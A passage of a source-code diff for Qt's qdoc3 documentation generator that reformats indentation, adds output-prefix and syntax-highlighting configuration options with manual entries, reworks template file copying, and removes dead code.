+            column = 0;
+        }
         else {
-	    if (column >= level)
-		t += str[i];
-	    column++;
-	}
+            if (column >= level)
+                t += str[i];
+            column++;
+        }
     }
     return t;
 }
@@ -2524,15 +2582,15 @@ Doc::Doc(const Doc& doc)
 Doc::~Doc()
 {
     if (priv && priv->deref())
-	delete priv;
+        delete priv;
 }
 
 Doc &Doc::operator=(const Doc& doc)
 {
     if (doc.priv)
-	doc.priv->ref();
+        doc.priv->ref();
     if (priv && priv->deref())
-	delete priv;
+        delete priv;
     priv = doc.priv;
     return *this;
 }
@@ -2621,9 +2679,9 @@ const Text& Doc::body() const
     return priv == 0 ? dummy : priv->text;
 }
 
-Text Doc::briefText() const
+Text Doc::briefText(bool inclusive) const
 {
-    return body().subText(Atom::BriefLeft, Atom::BriefRight);
+    return body().subText(Atom::BriefLeft, Atom::BriefRight, 0, inclusive);
 }
 
 Text Doc::trimmedBriefText(const QString &className) const
@@ -2699,18 +2757,18 @@ Text Doc::trimmedBriefText(const QString &className) const
         whats = w.join(" ");
         
         if (whats.endsWith("."))
-	    whats.truncate(whats.length() - 1);
+            whats.truncate(whats.length() - 1);
 
         if (whats.isEmpty()) {
-	    location().warning(
+            location().warning(
                 tr("Nonstandard wording in '\\%1' text for '%2' (expected more text)")
                 .arg(COMMAND_BRIEF).arg(className));
-	    standardWording = false;
+            standardWording = false;
         }
         else
-	    whats[0] = whats[0].toUpper();
+            whats[0] = whats[0].toUpper();
 
-	// ### move this once \brief is abolished for properties
+        // ### move this once \brief is abolished for properties
         if (standardWording)
             resultText << whats;
     }
@@ -2720,29 +2778,29 @@ Text Doc::trimmedBriefText(const QString &className) const
 Text Doc::legaleseText() const
 {
     if (priv == 0 || !priv->hasLegalese)
-	return Text();
+        return Text();
     else
-	return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight);
+        return body().subText(Atom::LegaleseLeft, Atom::LegaleseRight);
 }
 
 const QString& Doc::baseName() const
 {
     static QString null;
     if (priv == 0 || priv->extra == 0) {
-	return null;
+        return null;
     }
     else {
-	return priv->extra->baseName;
+        return priv->extra->baseName;
     }
 }
 
 Doc::SectioningUnit Doc::granularity() const
 {
     if (priv == 0 || priv->extra == 0) {
-	return DocPrivateExtra().granularity;
+        return DocPrivateExtra().granularity;
     }
     else {
-	return priv->extra->granularity;
+        return priv->extra->granularity;
     }
 }
 
@@ -2838,80 +2896,80 @@ void Doc::initialize(const Config& config)
     QSet<QString> commands = config.subVars(CONFIG_ALIAS);
     QSet<QString>::ConstIterator c = commands.begin();
     while (c != commands.end()) {
-	QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c);
-	if (reverseAliasMap.contains(alias)) {
-	    config.lastLocation().warning(tr("Command name '\\%1' cannot stand"
-					      " for both '\\%2' and '\\%3'")
-					   .arg(alias)
-					   .arg(reverseAliasMap[alias])
-					   .arg(*c));
-	}
+        QString alias = config.getString(CONFIG_ALIAS + Config::dot + *c);
+        if (reverseAliasMap.contains(alias)) {
+            config.lastLocation().warning(tr("Command name '\\%1' cannot stand"
+                                              " for both '\\%2' and '\\%3'")
+                                           .arg(alias)
+                                           .arg(reverseAliasMap[alias])
+                                           .arg(*c));
+        }
         else {
-	    reverseAliasMap.insert(alias, *c);
-	}
-	aliasMap()->insert(*c, alias);
-	++c;
+            reverseAliasMap.insert(alias, *c);
+        }
+        aliasMap()->insert(*c, alias);
+        ++c;
     }
 
     int i = 0;
     while (cmds[i].english) {
-	cmds[i].alias = new QString(alias(cmds[i].english));
-	cmdHash()->insert(*cmds[i].alias, cmds[i].no);
+        cmds[i].alias = new QString(alias(cmds[i].english));
+        cmdHash()->insert(*cmds[i].alias, cmds[i].no);
 
-	if (cmds[i].no != i)
-	    Location::internalError(tr("command %1 missing").arg(i));
-	i++;
+        if (cmds[i].no != i)
+            Location::internalError(tr("command %1 missing").arg(i));
+        i++;
     }
 
     QSet<QString> macroNames = config.subVars(CONFIG_MACRO);
     QSet<QString>::ConstIterator n = macroNames.begin();
     while (n != macroNames.end()) {
-	QString macroDotName = CONFIG_MACRO + Config::dot + *n;
-	Macro macro;
-	macro.numParams = -1;
-	macro.defaultDef = config.getString(macroDotName);
-	if (!macro.defaultDef.isEmpty()) {
-	    macro.defaultDefLocation = config.lastLocation();
-	    macro.numParams = Config::numParams(macro.defaultDef);
-	}
-	bool silent = false;
-
-	QSet<QString> formats = config.subVars(macroDotName);
-	QSet<QString>::ConstIterator f = formats.begin();
-	while (f != formats.end()) {
-	    QString def = config.getString(macroDotName + Config::dot + *f);
-	    if (!def.isEmpty()) {
-		macro.otherDefs.insert(*f, def);
-		int m = Config::numParams(macro.defaultDef);
-		if (macro.numParams == -1) {
-		    macro.numParams = m;
-		}
+        QString macroDotName = CONFIG_MACRO + Config::dot + *n;
+        Macro macro;
+        macro.numParams = -1;
+        macro.defaultDef = config.getString(macroDotName);
+        if (!macro.defaultDef.isEmpty()) {
+            macro.defaultDefLocation = config.lastLocation();
+            macro.numParams = Config::numParams(macro.defaultDef);
+        }
+        bool silent = false;
+
+        QSet<QString> formats = config.subVars(macroDotName);
+        QSet<QString>::ConstIterator f = formats.begin();
+        while (f != formats.end()) {
+            QString def = config.getString(macroDotName + Config::dot + *f);
+            if (!def.isEmpty()) {
+                macro.otherDefs.insert(*f, def);
+                int m = Config::numParams(def);
+                if (macro.numParams == -1) {
+                    macro.numParams = m;
+                }
                 else if (macro.numParams != m) {
-		    if (!silent) {
-			QString other = tr("default");
-			if (macro.defaultDef.isEmpty())
-			    other = macro.otherDefs.begin().key();
-			config.lastLocation().warning(tr("Macro '\\%1' takes"
-							  " inconsistent number"
-							  " of arguments (%2"
-							  " %3, %4 %5)")
-						       .arg(*n)
-						       .arg(*f)
-						       .arg(m)
-						       .arg(other)
-						       .arg(macro.numParams));
-			silent = true;
-		    }
-		    if (macro.numParams < m)
-			macro.numParams = m;
-		}
-	    }
-	    ++f;
-	}
-
-	if (macro.numParams != -1)
-	    macroHash()->insert(*n, macro);
-	++n;
+                    if (!silent) {
+                        QString other = tr("default");
+                        if (macro.defaultDef.isEmpty())
+                            other = macro.otherDefs.begin().key();
+                        config.lastLocation().warning(tr("Macro '\\%1' takes"
+                                                          " inconsistent number"
+                                                          " of arguments (%2"
+                                                          " %3, %4 %5)")
+                                                       .arg(*n)
+                                                       .arg(*f)
+                                                       .arg(m)
+                                                       .arg(other)
+                                                       .arg(macro.numParams));
+                        silent = true;
+                    }
+                    if (macro.numParams < m)
+                        macro.numParams = m;
+                }
+            }
+            ++f;
+        }
+
+        if (macro.numParams != -1)
+            macroHash()->insert(*n, macro);
+        ++n;
     }
 }
 
@@ -2951,27 +3009,27 @@ void Doc::trimCStyleComment(Location& location, QString& str)
     int i;
 
     for (i = 0; i < (int) str.length(); i++) {
-	if (m.columnNo() == asterColumn) {
-	    if (str[i] != '*')
-		break;
-	    cleaned += ' ';
-	    metAsterColumn = true;
-	}
+        if (m.columnNo() == asterColumn) {
+            if (str[i] != '*')
+                break;
+            cleaned += ' ';
+            metAsterColumn = true;
+        }
         else {
-	    if (str[i] == '\n') {
-		if (!metAsterColumn)
-		    break;
-		metAsterColumn = false;
-	    }
-	    cleaned += str[i];
-	}
-	m.advance(str[i]);
+            if (str[i] == '\n') {
+                if (!metAsterColumn)
+                    break;
+                metAsterColumn = false;
+            }
+            cleaned += str[i];
+        }
+        m.advance(str[i]);
     }
     if (cleaned.length() == str.length())
-	str = cleaned;
+        str = cleaned;
 
     for (int i = 0; i < 3; i++)
-	location.advance(str[i]);
+        location.advance(str[i]);
     str = str.mid(3, str.length() - 5);
 }
 
@@ -2987,26 +3045,26 @@ CodeMarker *Doc::quoteFromFile(const Location &location,
     QString filePath = Config::findFile(location,
                                         DocParser::exampleFiles,
                                         DocParser::exampleDirs,
-					fileName, userFriendlyFilePath);
+                                        fileName, userFriendlyFilePath);
     if (filePath.isEmpty()) {
-	location.warning(tr("Cannot find example file '%1'").arg(fileName));
+        location.warning(tr("Cannot find example file '%1'").arg(fileName));
     }
     else {
-	QFile inFile(filePath);
-	if (!inFile.open(QFile::ReadOnly)) {
-	    location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath));
-	}
+        QFile inFile(filePath);
+        if (!inFile.open(QFile::ReadOnly)) {
+            location.warning(tr("Cannot open example file '%1'").arg(userFriendlyFilePath));
+        }
         else {
-	    QTextStream inStream(&inFile);
-	    code = DocParser::untabifyEtc(inStream.readAll());
-	}
+            QTextStream inStream(&inFile);
+            code = DocParser::untabifyEtc(inStream.readAll());
+        }
     }
 
     QString dirPath = QFileInfo(filePath).path();
     CodeMarker *marker = CodeMarker::markerForFileName(fileName);
     quoter.quoteFromFile(userFriendlyFilePath,
                          code,
-                         marker->markedUpCode(code, 0, dirPath));
+                         marker->markedUpCode(code, 0, location));
     return marker;
 }
 
@@ -3043,13 +3101,6 @@ QString Doc::canonicalTitle(const QString &title)
                 result += QLatin1Char('-');
             dashAppended = true;
         }
-#if 0
-        // This was screwing things up.
-        else {
-            result += title[i];
-            lastAlnum = result.size();
-        }
-#endif        
     }
     result.truncate(lastAlnum);
     return result;
diff --git a/tools/qdoc3/doc.h b/tools/qdoc3/doc.h
index 6a154fc..ea832b1 100644
--- a/tools/qdoc3/doc.h
+++ b/tools/qdoc3/doc.h
@@ -100,7 +100,7 @@ class Doc
     bool isEmpty() const;
     const QString& source() const;
     const Text& body() const;
-    Text briefText() const;
+    Text briefText(bool inclusive = false) const;
     Text trimmedBriefText(const QString &className) const;
     Text legaleseText() const;
     const QString& baseName() const;
diff --git a/tools/qdoc3/doc/qdoc-manual.qdoc b/tools/qdoc3/doc/qdoc-manual.qdoc
index 31f1e00..7290c0e 100644
--- a/tools/qdoc3/doc/qdoc-manual.qdoc
+++ b/tools/qdoc3/doc/qdoc-manual.qdoc
@@ -7069,6 +7069,8 @@
     \l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir},
     \l {22-qdoc-configuration-generalvariables.html#outputformats}
        {outputformats},
+    \l {22-qdoc-configuration-generalvariables.html#outputprefixes}
+       {outputprefixes},
     \l {22-qdoc-configuration-generalvariables.html#slow}{slow},
     \l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs},
     \l {22-qdoc-configuration-generalvariables.html#sources}{sources},
@@ -7155,6 +7157,8 @@
     \l {22-qdoc-configuration-generalvariables.html#outputdir}{outputdir},
     \l {22-qdoc-configuration-generalvariables.html#outputformats}
        {outputformats},
+    \l {22-qdoc-configuration-generalvariables.html#outputprefixes}
+       {outputprefixes},
     \l {22-qdoc-configuration-generalvariables.html#slow}{slow},
     \l {22-qdoc-configuration-generalvariables.html#sourcedirs}{sourcedirs},
     \l {22-qdoc-configuration-generalvariables.html#sources}{sources},
@@ -7796,6 +7800,23 @@
            the default format, and doesn't need to be specified.
 
     \row
+        \o \bold outputprefixes \target outputprefixes
+        \o \bold {The \c outputprefixes variable specifies a mapping between
+           types of files and the prefixes to prepend to the HTML file names
+           in the generated documentation.}
+
+           For example:
+
+           \code
+           outputprefixes = QML
+           outputprefixes.QML = qt-components-
+           \endcode
+
+           Be default, files containing the API documentation for QML elements
+           or components are prefixed with "qml-". In the above example, the
+           prefix "qt-components-" is used instead.
+
+    \row
         \o \bold qhp \target qhp
         \o \bold{The \c qhp variable is used to define the information to be
            written out to Qt Help Project (\c{qhp}) files.}
@@ -7804,20 +7825,14 @@
            about this process.
 
     \row
-        \o \bold slow \target slow
-        \o \bold {The \c slow variable specifies whether QDoc should do
-           time-consuming processing, such as syntax highlighting.}
-
-           By default, this setting is false.
-
-           Example:
+        \o \bold slow (removed) \target slow
+        \o \bold {The \c slow variable previously specified whether QDoc should
+           do time-consuming processing, such as syntax highlighting.}
 
-           \code
-               slow = true
-           \endcode
+           This option has been replaced by the \l{syntaxhighlighing} option.
 
-           Another way to turn on "slowness" is to invoke QDoc with the
-           \c -slow command-line option.
+           For compatibility, the \c -slow command-line option has been
+           retained. This has the effect of enabling syntax highlighting.
 
     \row
         \o \bold sourcedirs \target sourcedirs
@@ -7957,6 +7972,21 @@
            \endcode
 
     \row
+        \o \bold syntaxhighlighting \target syntaxhighlighting
+        \o \bold{The \c syntaxhighlighting variable specifies whether QDoc
+           should perform syntax highlighting on source code quoted in the
+           documentation it output.}
+
+           For example:
+
+           \code
+           syntaxhighlighting = true
+           \endcode
+
+           will enable syntax highlighting for all supported programming
+           languages.
+
+    \row
         \o \bold tabsize \target tabsize
         \o \bold {The \c tabsize variable defines the size of a tab
            character.}
diff --git a/tools/qdoc3/generator.cpp b/tools/qdoc3/generator.cpp
index 7deca2e..b4768db 100644
--- a/tools/qdoc3/generator.cpp
+++ b/tools/qdoc3/generator.cpp
@@ -43,7 +43,9 @@
   generator.cpp
 */
 #include <qdir.h>
+#ifdef DEBUG_MULTIPLE_QDOCCONF_FILES
 #include <qdebug.h>
+#endif
 #include "codemarker.h"
 #include "config.h"
 #include "doc.h"
@@ -54,6 +56,7 @@
 #include "quoter.h"
 #include "separator.h"
 #include "tokenizer.h"
+#include "ditaxmlgenerator.h"
 
 QT_BEGIN_NAMESPACE
 
@@ -72,6 +75,7 @@ QStringList Generator::styleFiles;
 QStringList Generator::styleDirs;
 QString Generator::outDir;
 QString Generator::project;
+QHash<QString, QString> Generator::outputPrefixes;
 
 static void singularPlural(Text& text, const NodeList& nodes)
 {
@@ -180,45 +184,52 @@ void Generator::initialize(const Config &config)
                 ++e;
             }
 
-            QStringList noExts;
-            QStringList scripts =
-                config.getStringList(CONFIG_SCRIPTS+Config::dot+(*g)->format());
-            e = scripts.begin();
-            while (e != scripts.end()) {
-                QString userFriendlyFilePath;
-                QString filePath = Config::findFile(config.lastLocation(),
-                                                    scriptFiles,
-                                                    scriptDirs,
-                                                    *e,
-                                                    noExts,
-                                                    userFriendlyFilePath);
-                if (!filePath.isEmpty())
-                    Config::copyFile(config.lastLocation(),
-                                     filePath,
-                                     userFriendlyFilePath,
-                                     (*g)->outputDir() +
-                                     "/scripts");
-                ++e;
-            }
+            // Documentation template handling
+            QString templateDir = config.getString(
+                (*g)->format() + Config::dot + CONFIG_TEMPLATEDIR);
+
+            if (!templateDir.isEmpty()) {
+                QStringList noExts;
+                QStringList searchDirs = QStringList() << templateDir;
+                QStringList scripts =
+                    config.getStringList((*g)->format()+Config::dot+CONFIG_SCRIPTS);
+                e = scripts.begin();
+                while (e != scripts.end()) {
+                    QString userFriendlyFilePath;
+                    QString filePath = Config::findFile(config.lastLocation(),
+                                                        scriptFiles,
+                                                        searchDirs,
+                                                        *e,
+                                                        noExts,
+                                                        userFriendlyFilePath);
+                    if (!filePath.isEmpty())
+                        Config::copyFile(config.lastLocation(),
+                                         filePath,
+                                         userFriendlyFilePath,
+                                         (*g)->outputDir() +
+                                         "/scripts");
+                    ++e;
+                }
 
-            QStringList styles =
-                config.getStringList(CONFIG_STYLES+Config::dot+(*g)->format());
-            e = styles.begin();
-            while (e != styles.end()) {
-                QString userFriendlyFilePath;
-                QString filePath = Config::findFile(config.lastLocation(),
-                                                    styleFiles,
-                                                    styleDirs,
-                                                    *e,
-                                                    noExts,
-                                                    userFriendlyFilePath);
-                if (!filePath.isEmpty())
-                    Config::copyFile(config.lastLocation(),
-                                     filePath,
-                                     userFriendlyFilePath,
-                                     (*g)->outputDir() +
-                                     "/style");
-                ++e;
+                QStringList styles =
+                    config.getStringList((*g)->format()+Config::dot+CONFIG_STYLESHEETS);
+                e = styles.begin();
+                while (e != styles.end()) {
+                    QString userFriendlyFilePath;
+                    QString filePath = Config::findFile(config.lastLocation(),
+                                                        styleFiles,
+                                                        searchDirs,
+                                                        *e,
+                                                        noExts,
+                                                        userFriendlyFilePath);
+                    if (!filePath.isEmpty())
+                        Config::copyFile(config.lastLocation(),
+                                         filePath,
+                                         userFriendlyFilePath,
+                                         (*g)->outputDir() +
+                                         "/style");
+                    ++e;
+                }
             }
         }
         ++g;
@@ -264,6 +275,14 @@ void Generator::initialize(const Config &config)
     }
 
     project = config.getString(CONFIG_PROJECT);
+
+    QStringList prefixes = config.getStringList(CONFIG_OUTPUTPREFIXES);
+    if (!prefixes.isEmpty()) {
+        foreach (QString prefix, prefixes)
+            outputPrefixes[prefix] = config.getString(
+                CONFIG_OUTPUTPREFIXES + Config::dot + prefix);
+    } else
+        outputPrefixes[QLatin1String("QML")] = QLatin1String("qml-");
 }
 
 void Generator::terminate()
@@ -326,6 +345,7 @@ bool Generator::generateText(const Text& text,
                              const Node *relative,
                              CodeMarker *marker)
 {
+    bool result = false;
     if (text.firstAtom() != 0) {
         int numAtoms = 0;
         startText(relative, marker);
@@ -335,9 +355,9 @@ bool Generator::generateText(const Text& text,
                          true,
                          numAtoms);
         endText(relative, marker);
-        return true;
+        result = true;
     }
-    return false;
+    return result;
 }
 
 #ifdef QDOC_QML
@@ -351,24 +371,26 @@ bool Generator::generateQmlText(const Text& text,
                                 const QString& /* qmlName */ )
 {
     const Atom* atom = text.firstAtom();
-    if (atom == 0)
-        return false;
+    bool result = false;
 
-    startText(relative, marker);
-    while (atom) {
-        if (atom->type() != Atom::QmlText)
-            atom = atom->next();
-        else {
-            atom = atom->next();
-            while (atom && (atom->type() != Atom::EndQmlText)) {
-                int n = 1 + generateAtom(atom, relative, marker);
-                while (n-- > 0)
-                    atom = atom->next();
+    if (atom != 0) {
+        startText(relative, marker);
+        while (atom) {
+            if (atom->type() != Atom::QmlText)
+                atom = atom->next();
+            else {
+                atom = atom->next();
+                while (atom && (atom->type() != Atom::EndQmlText)) {
+                    int n = 1 + generateAtom(atom, relative, marker);
+                    while (n-- > 0)
+                        atom = atom->next();
+                }
             }
         }
+        endText(relative, marker);
+        result = true;
     }
-    endText(relative, marker);
-    return true;
+    return result;
 }
 #endif
 
@@ -376,25 +398,21 @@ void Generator::generateBody(const Node *node, CodeMarker *marker)
 {
     bool quiet = false;
 
-    if (node->type() == Node::Function) {
-#if 0
-        const FunctionNode *func = (const FunctionNode *) node;
-        if (func->isOverload() && func->metaness() != FunctionNode::Ctor)
-            generateOverload(node, marker);
-#endif
-    }
-    else if (node->type() == Node::Fake) {
+    if (node->type() == Node::Fake) {
         const FakeNode *fake = static_cast<const FakeNode *>(node);
-        if (fake->subType() == Node::Example)
+        if (fake->subType() == Node::Example) {
             generateExampleFiles(fake, marker);
-        else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image))
+        }
+        else if ((fake->subType() == Node::File) || (fake->subType() == Node::Image)) {
             quiet = true;
+        }
     }
 
     if (node->doc().isEmpty()) {
-        if (!quiet && !node->isReimp()) // ### might be unnecessary
+        if (!quiet && !node->isReimp()) { // ### might be unnecessary
             node->location().warning(tr("No documentation for '%1'")
                             .arg(marker->plainFullName(node)));
+        }
     }
     else {
         if (node->type() == Node::Function) {
@@ -403,9 +421,10 @@ void Generator::generateBody(const Node *node, CodeMarker *marker)
                 generateReimplementedFrom(func, marker);
         }
 
-        if (!generateText(node->doc().body(), node, marker))
+        if (!generateText(node->doc().body(), node, marker)) {
             if (node->isReimp())
                 return;
+        }
 
         if (node->type() == Node::Enum) {
             const EnumNode *enume = (const EnumNode *) node;
@@ -496,18 +515,16 @@ void Generator::generateBody(const Node *node, CodeMarker *marker)
                     ++a;
                 }
             }
-/* Something like this return value check should be implemented at some point. */
+            /*
+              Something like this return value check should
+              be implemented at some point.
+            */
             if (func->status() > Node::Obsolete && func->returnType() == "bool"
                     && func->reimplementedFrom() == 0 && !func->isOverload()) {
                 QString body = func->doc().body().toString();
                 if (!body.contains("return", Qt::CaseInsensitive))
                     node->doc().location().warning(tr("Undocumented return value"));
             }
-#if 0
-            // Now we put this at the top, before the other text.
-            if (func->reimplementedFrom() != 0)
-                generateReimplementedFrom(func, marker);
-#endif
         }
     }
 
@@ -518,8 +535,9 @@ void Generator::generateBody(const Node *node, CodeMarker *marker)
             Quoter quoter;
             Doc::quoteFromFile(fake->doc().location(), quoter, fake->name());
             QString code = quoter.quoteTo(fake->location(), "", "");
-            text << Atom(Atom::Code, code);
-            generateText(text, fake, marker);
+            CodeMarker *codeMarker = CodeMarker::markerForFileName(fake->name());
+            text << Atom(codeMarker->atomType(), code);
+            generateText(text, fake, codeMarker);
         }
     }
 }
@@ -667,35 +685,6 @@ void Generator::generateExampleFiles(const FakeNode *fake, CodeMarker *marker)
     generateFileList(fake, marker, Node::Image, QString("Images:"));
 }
 
-#if 0
-    QList<Generator *>::ConstIterator g = generators.begin();
-    while (g != generators.end()) {
-        if (outputFormats.contains((*g)->format())) {
-            (*g)->initializeGenerator(config);
-            QStringList extraImages =
-                config.getStringList(CONFIG_EXTRAIMAGES+Config::dot+(*g)->format());
-            QStringList::ConstIterator e = extraImages.begin();
-            while (e != extraImages.end()) {
-                QString userFriendlyFilePath;
-                QString filePath = Config::findFile(config.lastLocation(),
-                                                    imageFiles,
-                                                    imageDirs,
-                                                    *e,
-                                                    imgFileExts[(*g)->format()],
-                                                    userFriendlyFilePath);
-                if (!filePath.isEmpty())
-                    Config::copyFile(config.lastLocation(),
-                                     filePath,
-                                     userFriendlyFilePath,
-                                     (*g)->outputDir() +
-                                     "/images");
-                ++e;
-            }
-        }
-        ++g;
-    }
-#endif
-
 QString Generator::indent(int level, const QString& markedCode)
 {
     if (level == 0)
@@ -706,26 +695,17 @@ QString Generator::indent(int level, const QString& markedCode)
 
     int i = 0;
     while (i < (int) markedCode.length()) {
-        if (markedCode.at(i) == QLatin1Char('<')) {
-            while (i < (int) markedCode.length()) {
-                t += markedCode.at(i++);
-                if (markedCode.at(i - 1) == QLatin1Char('>'))
-                    break;
-            }
+        if (markedCode.at(i) == QLatin1Char('\n')) {
+            column = 0;
         }
         else {
-            if (markedCode.at(i) == QLatin1Char('\n')) {
-                column = 0;
+            if (column == 0) {
+                for (int j = 0; j < level; j++)
+                    t += QLatin1Char(' ');
             }
-            else {
-                if (column == 0) {
-                    for (int j = 0; j < level; j++)
-                        t += QLatin1Char(' ');
-                }
-                column++;
-            }
-            t += markedCode.at(i++);
+            column++;
         }
+        t += markedCode.at(i++);
     }
     return t;
 }
@@ -855,7 +835,11 @@ QMap<QString, QString>& Generator::formattingRightMap()
     return fmtRightMaps[format()];
 }
 
-QString Generator::trimmedTrailing(const QString &string)
+/*
+  Trims trailimng whitespace off the \a string and returns
+  the trimmed string.
+ */
+QString Generator::trimmedTrailing(const QString& string)
 {
     QString trimmed = string;
     while (trimmed.length() > 0 && trimmed[trimmed.length() - 1].isSpace())
@@ -1085,20 +1069,6 @@ void Generator::generateSince(const Node *node, CodeMarker *marker)
     }
 }
 
-/*!
-  No longer in use.
- */
-void Generator::generateOverload(const Node *node, CodeMarker *marker)
-{
-    Text text;
-    text << Atom::ParaLeft
-         << "This function overloads ";
-    QString t = node->name() + "()";
-    text << Atom::AutoLink << t
-         << Atom::ParaRight;
-    generateText(text, node, marker);
-}
-
 void Generator::generateReimplementedFrom(const FunctionNode *func,
                                           CodeMarker *marker)
 {
@@ -1147,8 +1117,8 @@ const Atom *Generator::generateAtomList(const Atom *atom,
 
             if (atom->type() == Atom::FormatEndif) {
                 if (generate && numAtoms0 == numAtoms) {
-                    relative->location().warning(tr("Output format %1 not handled")
-                                                 .arg(format()));
+                    relative->location().warning(tr("Output format %1 not handled %2")
+                                                 .arg(format()).arg(outFileName()));
                     Atom unhandledFormatAtom(Atom::UnhandledFormat, format());
                     generateAtomList(&unhandledFormatAtom,
                                      relative,
@@ -1300,4 +1270,9 @@ QString Generator::fullName(const Node *node,
         return marker->plainFullName(node, relative);
 }
 
+QString Generator::outputPrefix(const QString &nodeType)
+{
+    return outputPrefixes[nodeType];
+}
+
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/generator.h b/tools/qdoc3/generator.h
index 562ad9b..4482313 100644
--- a/tools/qdoc3/generator.h
+++ b/tools/qdoc3/generator.h
@@ -78,7 +78,7 @@ class Generator
     virtual void terminateGenerator();
     virtual QString format() = 0;
     virtual bool canHandleFormat(const QString &format) { return format == this->format(); }
-    virtual void generateTree(const Tree *tree, CodeMarker *marker) = 0;
+    virtual void generateTree(const Tree *tree) = 0;
 
     static void initialize(const Config& config);
     static void terminate();
@@ -114,7 +114,7 @@ class Generator
     void generateThreadSafeness(const Node *node, CodeMarker *marker);
     void generateSince(const Node *node, CodeMarker *marker);
     void generateStatus(const Node *node, CodeMarker *marker);
-    const Atom *generateAtomList(const Atom *atom, 
+    const Atom* generateAtomList(const Atom *atom, 
                                  const Node *relative,
                                  CodeMarker *marker, 
                                  bool generate,
@@ -130,6 +130,8 @@ class Generator
                              const Node *relative,
                              CodeMarker *marker) const;
 
+    virtual QString outFileName() { return QString(); }
+
     const QString& outputDir() { return outDir; }
     QString indent(int level, const QString& markedCode);
     QString plainCode(const QString& markedCode);
@@ -146,9 +148,9 @@ class Generator
     static QString trimmedTrailing(const QString &string);
     static bool matchAhead(const Atom *atom, Atom::Type expectedAtomType);
     static void supplementAlsoList(const Node *node, QList<Text> &alsoList);
+    static QString outputPrefix(const QString &nodeType);
 
  private:
-    void generateOverload(const Node *node, CodeMarker *marker);
     void generateReimplementedFrom(const FunctionNode *func,
                                    CodeMarker *marker);
     void appendFullName(Text& text, 
@@ -197,6 +199,7 @@ class Generator
     static QStringList styleDirs;
     static QString outDir;
     static QString project;
+    static QHash<QString, QString> outputPrefixes;
 };
 
 QT_END_NAMESPACE
diff --git a/tools/qdoc3/helpprojectwriter.cpp b/tools/qdoc3/helpprojectwriter.cpp
index cb94bc4..f2e2f04 100644
--- a/tools/qdoc3/helpprojectwriter.cpp
+++ b/tools/qdoc3/helpprojectwriter.cpp
@@ -41,7 +41,6 @@
 
 #include <QHash>
 #include <QMap>
-//#include <qdebug.h>
 
 #include "atom.h"
 #include "helpprojectwriter.h"
@@ -49,7 +48,6 @@
 #include "config.h"
 #include "node.h"
 #include "tree.h"
-#include <qdebug.h>
 
 QT_BEGIN_NAMESPACE
 
@@ -216,7 +214,7 @@ QStringList HelpProjectWriter::keywordDetails(const Node *node) const
         details << node->name();
         details << node->name();
     }
-    details << tree->fullDocumentLocation(node);
+    details << HtmlGenerator::fullDocumentLocation(node);
     return details;
 }
 
@@ -276,12 +274,12 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
 
         case Node::Class:
             project.keywords.append(keywordDetails(node));
-            project.files.insert(tree->fullDocumentLocation(node));
+            project.files.insert(HtmlGenerator::fullDocumentLocation(node));
             break;
 
         case Node::Namespace:
             project.keywords.append(keywordDetails(node));
-            project.files.insert(tree->fullDocumentLocation(node));
+            project.files.insert(HtmlGenerator::fullDocumentLocation(node));
             break;
 
         case Node::Enum:
@@ -301,7 +299,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
                         details << item.name(); // "name"
                         details << item.name(); // "id"
                     }
-                    details << tree->fullDocumentLocation(node);
+                    details << HtmlGenerator::fullDocumentLocation(node);
                     project.keywords.append(details);
                 }
             }
@@ -332,7 +330,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
 
                 if (node->relates()) {
                     project.memberStatus[node->relates()].insert(node->status());
-                    project.files.insert(tree->fullDocumentLocation(node->relates()));
+                    project.files.insert(HtmlGenerator::fullDocumentLocation(node->relates()));
                 } else if (node->parent())
                     project.memberStatus[node->parent()].insert(node->status());
             }
@@ -346,7 +344,7 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
                 // Use the location of any associated enum node in preference
                 // to that of the typedef.
                 if (enumNode)
-                    typedefDetails[2] = tree->fullDocumentLocation(enumNode);
+                    typedefDetails[2] = HtmlGenerator::fullDocumentLocation(enumNode);
 
                 project.keywords.append(typedefDetails);
             }
@@ -366,11 +364,11 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
                                 QStringList details;
                                 details << keyword->string()
                                         << keyword->string()
-                                        << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string());
+                                        << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(keyword->string());
                                 project.keywords.append(details);
                             } else
                                 fakeNode->doc().location().warning(
-                                    tr("Bad keyword in %1").arg(tree->fullDocumentLocation(node))
+                                    tr("Bad keyword in %1").arg(HtmlGenerator::fullDocumentLocation(node))
                                     );
                         }
                     }
@@ -384,16 +382,16 @@ bool HelpProjectWriter::generateSection(HelpProject &project,
                             QStringList details;
                             details << title
                                     << title
-                                    << tree->fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title);
+                                    << HtmlGenerator::fullDocumentLocation(node) + "#" + Doc::canonicalTitle(title);
                             project.keywords.append(details);
                         } else
                             fakeNode->doc().location().warning(
-                                tr("Bad contents item in %1").arg(tree->fullDocumentLocation(node))
+                                tr("Bad contents item in %1").arg(HtmlGenerator::fullDocumentLocation(node))
                                 );
                     }
                 }
 */
-                project.files.insert(tree->fullDocumentLocation(node));
+                project.files.insert(HtmlGenerator::fullDocumentLocation(node));
             }
             break;
             }
@@ -472,7 +470,7 @@ void HelpProjectWriter::generate(const Tree *tre)
 void HelpProjectWriter::writeNode(HelpProject &project, QXmlStreamWriter &writer,
                                   const Node *node)
 {
-    QString href = tree->fullDocumentLocation(node);
+    QString href = HtmlGenerator::fullDocumentLocation(node);
     QString objName = node->name();
 
     switch (node->type()) {
@@ -615,12 +613,12 @@ void HelpProjectWriter::generateProject(HelpProject &project)
 
     writer.writeStartElement("toc");
     writer.writeStartElement("section");
-    QString indexPath = tree->fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle));
+    QString indexPath = HtmlGenerator::fullDocumentLocation(tree->findFakeNodeByTitle(project.indexTitle));
     if (indexPath.isEmpty())
         indexPath = "index.html";
     writer.writeAttribute("ref", HtmlGenerator::cleanRef(indexPath));
     writer.writeAttribute("title", project.indexTitle);
-    project.files.insert(tree->fullDocumentLocation(rootNode));
